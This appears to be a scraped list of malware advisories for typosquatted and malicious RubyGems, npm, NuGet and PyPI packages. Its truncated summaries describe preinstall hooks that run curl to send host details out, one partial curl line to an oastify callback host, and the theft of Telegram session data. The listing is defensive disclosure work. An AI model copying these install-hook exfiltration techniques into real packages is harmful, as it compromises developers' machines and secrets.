Malicious code in aundler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in aundlef (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in aumdler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in aubndler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in aiundler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abusndler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abunxler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abunlder (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abundler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abundlef (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abumdler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abndler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in abiundler (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in @mikudeveloper/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d03bf7166a5353a0b22409ebbb724ee53f24394c9ff340df668c970772796e28 This package is a fork of Baileys that declares libsignal in package.json as github:tenka-san/libsignal-node — a git dependency with no commit SHA,...

Malicious code in @mr-supun-fernando/supunmd-bail (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86c68c82f6ead4ab3b823b81fd6805991bfdd65cdc901d83aeb561cdd8f27b19 package.json declares "libsignal": "github:tenka-san/libsignal-node" — an off-registry dependency source pointing at a personal-user GitHub repositor...

Malicious code in dip.ioc.extensions (NuGet)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in dip.ioc (NuGet)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in dip.infrastructure.context (NuGet)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in dip.infrastructure (NuGet)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in dip.api (NuGet)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in tlxbnhd (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e415dbf226269704c2cd28b1783cf594f96880dd4688b26caf7f25a19e268237 The tlxbnhd package ships obfuscated preinstall.js and postinstall.js lifecycle scripts that, on npm install, download two files from...

Malicious code in tldriver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c16e29eeb8037e1166c10990a8e8f9424095dacc208961fd85775b1b14470995 The npm package [email protected] contains byte-identical scripts/preinstall.js and scripts/postinstall.js that are heavily obfuscated using...

Malicious code in mxdriver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2f3ed1442f0588fda7bc378a0fe79c7170864472c6cca93b8ec6629645b1add0 The npm package [email protected] ships obfuscator.io-style string-array-obfuscated preinstall and postinstall scripts scripts/preinstall.js,...

Malicious code in chai-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 566e54855d730e8555b93da4f8ea81faba72645079a7adcc3a05ea8bf8ad8ee6 The package presents itself as a Chai logging plugin but its main entry index.js requires ./lib/query.js, a 4 MB obfuscator.io-encoded module...

Malicious code in @tesla-insurance/vinless-quote (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4eebad2e44558080fee7f934edca91a78944985dae167e603557eb3144d43730 The package declares an install lifecycle script node index.js that loads runtime/support/telemetry/probe/impl.js. On npm install, this probe collect...

Malicious code in @user-services/web-components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 02523ee1cb3bbb9119054ec3ed14ffc62d0d33ae3bd44dc29312c772cdba106b @user-services/[email protected] fires a hidden telemetry probe on both the npm install lifecycle node index.js and on every require of the modul...

Malicious code in take-home-caller-id (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1adcf7c4b091ee35e021af3f4f886f5c8cc6f34b255315ab9767c3fdda5dcfe package.json declares a preinstall hook that runs index.js on npm install. index.js collects host identifiers via os.hostname and os.userInfo, reads...

Malicious code in cisco-github-simple (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2281890525d50138fab3030e71561f01f898fe9b97d56d2a894f1abf30632205 The package declares a preinstall lifecycle hook node index.js that runs automatically on npm install. index.js collects host reconnaissance from the...

Malicious code in cloushaar-poc-exfil-91827 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 58b36f7c6e3e2e536f43b51acc410985240e6de6d7bb1e1d78126131e888806f The package's setup.py, executed automatically during pip install, iterates a hardcoded list of installer-side filesystem paths /flag, /flag.txt,...

Malicious code in test-react-app-in (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8c5f625e91f5a500b87bd2e2d34c625a73bda73a3b9c2e4762b389d42d117be1 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in test-react-app-out (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3dd53fc6c31b6410f38c097f6d542696fae75c2c4a4b5ed41cc2b85955042e4 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in test-react-app-way (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40ffd4746c324ba82849889a1bf7cda559dc5bb7c4cfb7106e98d50491b2f35b The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @zig-design-system/react (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c1247992d3c2b02f93cea726189a4ff0a25eef9535b2a34eb7a120f8c9496f67 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in wos-library (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4a0281f721b8645a472011b83299574bb7e74651a8f0e628c519bafb19b86938 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @vite-tab/tabui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5178b465689483c264c60f883fe971a7fa7c9332b22a10281b652f6262c7731d The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @uol-afiliados/affiliated-config-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cd4acce57eda08c1b8716118854cad32ecfc59e35e91c03d664ac452ee6716d @uol-afiliados/[email protected] declares a preinstall hook node index.js that shells out via require'childprocess'.exec to run curl...

Malicious code in math-universe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56531c01050420c568bebedd6e3546cc0087600a86d7d19e4954c8277551adb8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in mathsbase (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b558d1a63774399879f32cafb1ce2bd4366a9f879d5d185dc6eb86df6480fe30 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in bytepack-probe-a7x3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f158536e9d84e6cee18e2a3ce84869e34f1564ec18a1313a9e8c03b304e3d70 package.json declares a dependency leak-internal whose source is the HTTPS tarball URL https://src-ssrf.bytedance.net/ssrf/probe.tgz rather than a...

Malicious code in mathmain (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b24c3869fb4f125e9ea39f09e5cb9100458e4e2d364047150204909e56527785 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in blue-string-formatter-utilss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de9e55c734c18f91b4b3a043dd6539097aa4e57056ff9dca6df1a9d3a3631c25 The package advertises itself as string-formatting utilities but ships no formatter code. Its main entry payload.js is an IIFE that creates a element...

Malicious code in my-ctf-helper-script-9921 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 41ee1dafe6dce8750ac695c9d13e13c2808e2f35d94bbbcc41a4444a02541409 On require/import, the package's main module executes a top-level fetch to the hardcoded collector URL...

Malicious code in pullgetsage (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 93b751049f78b324983511537b6c053a0ed080639dd7c447d87494eabc134ba3 On import, init.py archives the installer's Telegram Desktop tdata directory %APPDATA%/Telegram Desktop/tdata into a zip named 'aiosendletterlogs' an...

Malicious code in @asdfaskdjfksadhfkasf/nadaver2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ffa99497d70b8eae199242d576c111b7b351efcf5d81d613e3f7b43eec257f27 The package declares a preinstall lifecycle script that executes index.js on npm install. index.js uses childprocess.exec to run a curl command whose...

Malicious code in @uh-platform/nadaver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...

Malicious code in @uh-platform/domain-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96 Package @uh-platform/[email protected] is a scoped placeholder with an empty author, generic description, and no real functionality. Its...

Malicious code in @uh-platform/webcard (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...

Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

Malicious code in @uh-platform/nadaver2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c35cffdc174427ac57ea3c5e8ac02ec41159f8f25ffe1ef152e0437e5e533458 The package's package.json declares a preinstall lifecycle hook that runs node index.js. index.js invokes childprocess.exec on a curl command whose U...

Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL...